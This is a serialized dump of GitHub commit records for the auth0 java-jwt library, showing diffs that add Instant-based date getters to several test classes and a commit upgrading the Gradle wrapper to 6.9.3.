         // array types
         assertThat(map.get("intArray"), is(Arrays.asList(3, 5)));
         assertThat(map.get("longArray"), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
-        assertThat(map.get("stringArray"), is(Arrays.asList("string")));
+        assertThat(map.get("stringArray"), is(Collections.singletonList("string")));
 
         // list
         assertThat(map.get("list"), is(Arrays.asList("a", "b", "c")));
@@ -554,7 +600,8 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(1);
         data.add(Long.MAX_VALUE);
         data.add(123.456d);
-        data.add(new Date(123000));
+        data.add(new Date(123000L));
+        data.add(Instant.ofEpochSecond(123));
         data.add(true);
 
         // array types
@@ -585,17 +632,17 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         assertThat(list.get(2), is(Long.MAX_VALUE));
         assertThat(list.get(3), is(123.456d));
         assertThat(list.get(4), is(123));
-        assertThat(list.get(5), is(true));
+        assertThat(list.get(5), is(123));
+        assertThat(list.get(6), is(true));
 
         // array types
-        assertThat(list.get(6), is(Arrays.asList(3, 5)));
-        assertThat(list.get(7), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
-        assertThat(list.get(8), is(Arrays.asList("string")));
+        assertThat(list.get(7), is(Arrays.asList(3, 5)));
+        assertThat(list.get(8), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(list.get(9), is(Arrays.asList("string")));
 
         // list
-        assertThat(list.get(9), is(Arrays.asList("a", "b", "c")));
-        assertThat(list.get(10), is(sub));
-
+        assertThat(list.get(10), is(Arrays.asList("a", "b", "c")));
+        assertThat(list.get(11), is(sub));
     }
 
     @Test
@@ -681,7 +728,7 @@ public void shouldRefuseCustomMapClaimForNonStringKey() {
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElement() {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         exception.expect(IllegalArgumentException.class);
 
@@ -692,7 +739,7 @@ public void shouldRefuseCustomListClaimForUnknownListElement() {
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         Map<String, Object> data = new HashMap<>();
         data.put("someList", list);
@@ -798,7 +845,7 @@ public void withPayloadShouldNotAllowCustomType() {
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("pojo", new UserPojo("name", 42));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -824,7 +871,7 @@ public void withPayloadShouldNotAllowListWithCustomType() {
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -837,7 +884,7 @@ public void withPayloadShouldNotAllowMapWithCustomType() {
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("map", Collections.singletonMap("pojo", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }u}(j  (a9e8f248fa272fd1a95e0f02843d20f1dfa0b79cj  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedjy  Kjz  Kj  K"j  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X<  @@ -12,6 +12,7 @@
 
 import java.io.*;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
 import java.util.Map;
@@ -156,33 +157,27 @@ public void shouldGetStringAudience() {
     public void shouldGetExpirationTime() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzY3MjcwODZ9.L9dcPHEDQew2u9MkDCORFkfDGcSOsgoPqNY-LUMLEHg");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getExpiresAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
     public void shouldGetNotBefore() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0NzY3MjcwODZ9.tkpD3iCPQPVqjnjpDVp2bJMBAgpVCG9ZjlBuMitass0");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(equalTo(expectedDate)));
+        assertThat(jwt.getNotBefore(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
     public void shouldGetIssuedAt() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0NzY3MjcwODZ9.KPjGoW665E8V5_27Jugab8qSTxLk2cgquhPCBfAP0_w");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getIssuedAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
@@ -272,6 +267,15 @@ public void shouldGetCustomClaimOfTypeDate() {
         assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
     }
 
+    @Test
+    public void shouldGetCustomClaimOfTypeInstant() {
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
+        Instant instant = Instant.ofEpochSecond(1478891521L);
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asInstant(), is(equalTo(instant)));
+    }
+
     @Test
     public void shouldGetCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
@@ -294,9 +298,9 @@ public void shouldGetCustomMapClaim() {
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
-        assertThat(map, hasEntry("string", (Object) "value"));
-        assertThat(map, hasEntry("number", (Object) 1));
-        assertThat(map, hasEntry("boolean", (Object) true));
+        assertThat(map, hasEntry("string", "value"));
+        assertThat(map, hasEntry("number", 1));
+        assertThat(map, hasEntry("boolean", true));
     }
 
     @Testu}(j  (2015c03718be2cefc6573e087c08e8f09cb7083cj  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  XH  @@ -21,8 +21,6 @@
 
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
 
 public class JWTTest {
 
@@ -285,9 +283,9 @@ public void shouldGetExpirationTime() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
         assertThat(jwt.getExpiresAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
+
     }
 
     @Test
@@ -302,9 +300,8 @@ public void shouldGetNotBefore() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
         assertThat(jwt.getNotBefore(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Test
@@ -319,9 +316,8 @@ public void shouldGetIssuedAt() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
         assertThat(jwt.getIssuedAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Testu}(j  (acc633fceed20986be4334a7a96327359611da86j  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X  @@ -19,17 +19,15 @@
 import java.util.HashMap;
 import java.util.Map;
 
-import static org.hamcrest.Matchers.startsWith;
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
-import static org.mockito.Mockito.*;
-import static org.junit.Assert.assertThrows;
+import static org.hamcrest.Matchers.*;
+import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
 
-    private Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
-    private Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
-    private Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
+    private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
+    private final Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
+    private final Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
 
     @Rule
     public ExpectedException exception = ExpectedException.none();u}(j  (3c744487f244f523019dbf2934fd3a75a85ecc01j  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj  modifiedjy  K
jz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X)  @@ -20,14 +20,14 @@
 import org.mockito.ArgumentMatchers;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
-import static com.auth0.jwt.impl.JsonNodeClaim.claimFromNode;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {
@@ -117,20 +117,23 @@ public void shouldGetNullDoubleIfNotDoubleValue() {
     }
 
     @Test
-    public void shouldGetDateValue() {
-        JsonNode value = mapper.valueToTree(1476824844L);
+    public void shouldGetNumericDateValue() {
+        long seconds = 1476824844L;
+        JsonNode value = mapper.valueToTree(seconds);
         Claim claim = claimFromNode(value);
 
-        assertThat(claim.asDate(), is(notNullValue()));
-        assertThat(claim.asDate(), is(new Date(1476824844L * 1000)));
+        assertThat(claim.asDate(), is(new Date(seconds * 1000)));
+        assertThat(claim.asInstant(), is(Instant.ofEpochSecond(seconds)));
     }
 
     @Test
-    public void shouldGetNullDateIfNotDateValue() {
+    public void shouldGetNullIfNotNumericDateValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(objectValue).asInstant(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("1476824844");
         assertThat(claimFromNode(stringValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(stringValue).asInstant(), is(nullValue()));
     }
 
     @Testu}(j  (1bddfa509cdae089da49fd7c8bee2575fbaa7664j  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj  modifiedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  XW  @@ -50,6 +50,11 @@ public void shouldGetAsDate() {
         assertThat(claim.asDate(), is(nullValue()));
     }
 
+    @Test
+    public void shouldGetAsInstant() {
+        assertThat(claim.asDate(), is(nullValue()));
+    }
+
     @Test
     public void shouldGetAsArray() {
         assertThat(claim.asArray(Object.class), is(nullValue()));u}(j  (96b79afaf54a166f2bfa2a38f9dee481aa51cc4bj  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj  modifiedjy  Kjz  Kj  K&j  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X  @@ -19,6 +19,7 @@
 import org.junit.rules.ExpectedException;
 
 import java.io.StringReader;
+import java.time.Instant;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -96,6 +97,9 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
         assertThat(payload.getIssuedAt().getTime(), is(10101010L * 1000));
         assertThat(payload.getExpiresAt().getTime(), is(11111111L * 1000));
         assertThat(payload.getNotBefore().getTime(), is(10101011L * 1000));
+        assertThat(payload.getIssuedAtAsInstant().getEpochSecond(), is(10101010L));
+        assertThat(payload.getExpiresAtAsInstant().getEpochSecond(), is(11111111L));
+        assertThat(payload.getNotBeforeAsInstant().getEpochSecond(), is(10101011L));
         assertThat(payload.getId(), is("idid"));
 
         assertThat(payload.getClaim("roles").asString(), is("admin"));
@@ -177,24 +181,23 @@ public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() {
         assertThat(values, is(nullValue()));
     }
 
-
     @Test
-    public void shouldGetNullDateWhenParsingNullNode() {
+    public void shouldGetNullInstantWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullDateWhenParsingNull() {
+    public void shouldGetNullInstantWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant  = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
@@ -206,32 +209,33 @@ public void shouldThrowWhenParsingNonNumericNode() {
         TextNode node = new TextNode("123456789");
         tree.put("key", node);
 
-        deserializer.getDateFromSeconds(tree, "key");
+        deserializer.getInstantFromSeconds(tree, "key");
     }
 
     @Test
-    public void shouldGetDateWhenParsingNumericNode() {
+    public void shouldGetInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = 1478627949 / 1000;
         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
     }
 
+
     @Test
-    public void shouldGetLargeDateWhenParsingNumericNode() {
+    public void shouldGetLargeInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = Integer.MAX_VALUE + 10000L;
         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
-        assertThat(date.getTime(), is(2147493647L * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
+        assertThat(instant.toEpochMilli(), is(2147493647L * 1000));
     }
 
     @Testu}(j  (1d3218ed2d82c261deacf0a640068fb4220fca5cj  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X  @@ -11,8 +11,8 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
-import org.mockito.Mockito;
 
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
@@ -25,38 +25,33 @@ public class PayloadImplTest {
     public ExpectedException exception = ExpectedException.none();
 
     private PayloadImpl payload;
-    private Date expiresAt;
-    private Date notBefore;
-    private Date issuedAt;
+    private final Instant expiresAt = Instant.now().plusSeconds(10);
+    private final Instant notBefore = Instant.now();
+    private final Instant issuedAt = Instant.now();
 
-    private ObjectMapper mapper;
     private ObjectReader objectReader;
 
     @Before
     public void setUp() {
-        mapper = getDefaultObjectMapper();
+        ObjectMapper mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
 
-        expiresAt = Mockito.mock(Date.class);
-        notBefore = Mockito.mock(Date.class);
-        issuedAt = Mockito.mock(Date.class);
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         payload = new PayloadImpl("issuer", "subject", Collections.singletonList("audience"), expiresAt, notBefore, issuedAt, "jwtId", tree, objectReader);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldHaveUnmodifiableTree() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<>(), objectReader);
         payload.getTree().put("something", null);
     }
 
     @Test
     public void shouldHaveUnmodifiableAudience() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<String>(), null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<>(), null, null, null, null, null, objectReader);
         payload.getAudience().add("something");
     }
 
@@ -104,40 +99,46 @@ public void shouldGetNullAudienceIfMissing() {
     @Test
     public void shouldGetExpiresAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getExpiresAt(), is(expiresAt));
+        assertThat(payload.getExpiresAt(), is(Date.from(expiresAt)));
+        assertThat(payload.getExpiresAtAsInstant(), is(expiresAt));
     }
 
     @Test
     public void shouldGetNullExpiresAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(nullValue()));
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
     }
 
     @Test
     public void shouldGetNotBefore() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getNotBefore(), is(notBefore));
+        assertThat(payload.getNotBefore(), is(Date.from(notBefore)));
+        assertThat(payload.getNotBeforeAsInstant(), is(notBefore));
     }
 
     @Test
     public void shouldGetNullNotBeforeIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
     }
 
     @Test
     public void shouldGetIssuedAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getIssuedAt(), is(issuedAt));
+        assertThat(payload.getIssuedAt(), is(Date.from(issuedAt)));
+        assertThat(payload.getIssuedAtAsInstant(), is(issuedAt));
     }
 
     @Test
     public void shouldGetNullIssuedAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
     }
 
     @Testueu(88ab7633ffbcd33261adf03aa91c63d1d7bb007a}(sha(88ab7633ffbcd33261adf03aa91c63d1d7bb007anode_idEC_kwDOAQtL0doAKDg4YWI3NjMzZmZiY2QzMzI2MWFkZjAzYWE5MWM2M2QxZDdiYjAwN2Ecommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-24T22:20:28Zu	committer}(j  Jim Andersonj   jimranderson@gmail.comj"  2022-10-24T22:20:28ZumessageUpdate to gradle `6.9.3`tree}(j  (25a34087dec07516b6fe6adfa7ee6a1b62c82e0burl^https://api.github.com/repos/auth0/java-jwt/git/trees/25a34087dec07516b6fe6adfa7ee6a1b62c82e0buj.  `https://api.github.com/repos/auth0/java-jwt/git/commits/88ab7633ffbcd33261adf03aa91c63d1d7bb007a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj.  \https://api.github.com/repos/auth0/java-jwt/commits/88ab7633ffbcd33261adf03aa91c63d1d7bb007ahtml_urlQhttps://github.com/auth0/java-jwt/commit/88ab7633ffbcd33261adf03aa91c63d1d7bb007acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/88ab7633ffbcd33261adf03aa91c63d1d7bb007a/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j.  'https://api.github.com/users/jimmyjamesj:  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj$  }(j?  
jimmyjamesjA  J7 j  MDQ6VXNlcjI3NjIyNQ==jC  2https://avatars.githubusercontent.com/u/276225?v=4jE  h3j.  'https://api.github.com/users/jimmyjamesj:  https://github.com/jimmyjamesjH  1https://api.github.com/users/jimmyjames/followersjJ  >https://api.github.com/users/jimmyjames/following{/other_user}jL  7https://api.github.com/users/jimmyjames/gists{/gist_id}jN  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jP  5https://api.github.com/users/jimmyjames/subscriptionsjR  ,https://api.github.com/users/jimmyjames/orgsjT  -https://api.github.com/users/jimmyjames/reposjV  8https://api.github.com/users/jimmyjames/events{/privacy}jX  7https://api.github.com/users/jimmyjames/received_eventsjZ  Userj\  uparents]}(j  (7a97e4040d29c518e539aad9db514c86db79c82ej.  \https://api.github.com/repos/auth0/java-jwt/commits/7a97e4040d29c518e539aad9db514c86db79c82ej:  Qhttps://github.com/auth0/java-jwt/commit/7a97e4040d29c518e539aad9db514c86db79c82euastats}(totalK	additionsK	deletionsKufiles](}(j  (d355f4c4f30f0034df5dcc40e99f5e57a6b8cf5ffilename(gradle/wrapper/gradle-wrapper.propertiesstatusmodifiedjv  Kjw  KchangesKblob_url|https://github.com/auth0/java-jwt/blob/88ab7633ffbcd33261adf03aa91c63d1d7bb007a/gradle%2Fwrapper%2Fgradle-wrapper.propertiesraw_url{https://github.com/auth0/java-jwt/raw/88ab7633ffbcd33261adf03aa91c63d1d7bb007a/gradle%2Fwrapper%2Fgradle-wrapper.propertiescontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/gradle%2Fwrapper%2Fgradle-wrapper.properties?ref=88ab7633ffbcd33261adf03aa91c63d1d7bb007apatchX/  @@ -1,5 +1,5 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-6.7.1-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-6.9.3-bin.zip
 zipStoreBase=GRADLE_USER_HOME
 zipStorePath=wrapper/distsu}(j  (0bebbf960e4b6473299ba4a6f25df2cfc2d60130j|  lib/build.gradlej~  modifiedjv  Kjw  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/88ab7633ffbcd33261adf03aa91c63d1d7bb007a/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/88ab7633ffbcd33261adf03aa91c63d1d7bb007a/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=88ab7633ffbcd33261adf03aa91c63d1d7bb007aj  @@ -51,7 +51,7 @@ java {
 compileJava {
     exclude 'module-info.java'
     // Required to be compatible with JDK 8+
-    options.compilerArgs = ['--release', "8"]
+    options.release = 8
 }
 
